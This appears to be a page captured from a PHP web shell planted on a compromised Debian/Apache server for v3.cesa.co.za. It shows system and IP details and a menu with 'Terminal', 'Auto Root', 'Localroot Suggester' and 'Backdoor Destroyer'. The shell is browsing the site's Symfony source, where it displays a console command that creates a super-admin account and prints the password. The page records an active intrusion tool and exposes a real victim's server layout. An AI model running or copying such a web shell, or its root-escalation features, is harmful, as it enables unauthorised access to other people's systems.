Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
src /
UserBundle /
Command /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
OauthClientCreateCommand.php
2.35
KB
-rwxrwxr-x
2026-05-25 12:28
UserListCommand.php
2.34
KB
-rwxrwxr-x
2026-04-02 12:06
UserListSyncCommand.php
2.74
KB
-rwxrwxr-x
2026-04-02 12:06
UserNetworkCommand.php
940
B
-rwxrwxr-x
2026-04-02 12:06
php_errors.log
1.3
KB
-rwxrwxr-x
2026-04-02 12:06
Save
Rename
<?php namespace App\UserBundle\Command; use Symfony\Component\Console\Command\Command; use Symfony\Bundle\FrameworkBundle\Command\ContainerAwareCommand; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; use App\UserBundle\Entity\UserList; /** * SF Guard User Command * * @author Otto Saayman <otto@igotafrica.com> * @package UserBundle * @subpackage Controller * @version 0.0.1 */ class UserListCommand extends Command { protected function configure() { $this ->setName('iga:user:user_list') ->setDescription('Add IGA Core users') ->addArgument('username', InputArgument::REQUIRED, 'The username') ->addArgument('password', InputArgument::REQUIRED, 'The password') ->addArgument('first_name', InputArgument::REQUIRED, 'The first name') ->addArgument('last_name', InputArgument::REQUIRED, 'The last name') ; } protected function execute(InputInterface $input, OutputInterface $output) { $username = $input->getArgument('username'); $password = $input->getArgument('password'); $firstNameString = $input->getArgument('first_name'); $lastNameString = $input->getArgument('last_name'); $em = $this->getContainer()->get('doctrine')->getManager(); $user = $this->getContainer()->get('user_list.manager')->findOneBy(array('username' => $username)); if (!is_object($user)) { $user = new UserList(); } $user->setUsername($username); $factory = $this->getContainer()->get('security.encoder_factory'); $encoder = $factory->getEncoder($user); $user->setSalt(microtime()); $encodedPassword = $encoder->encodePassword($password, $user->getSalt()); $user->setPassword($encodedPassword); $user->setUserEMailAddress(null); $user->setIsActive(true); $user->setIsSuperAdmin(true); $user->setFirstNameString($firstNameString); $user->setLastNameString($lastNameString); $user->setDeleted(false); $em->persist($user); $em->flush(); $output->writeln(sprintf('Set %s user with password %s', $username, $password)); } }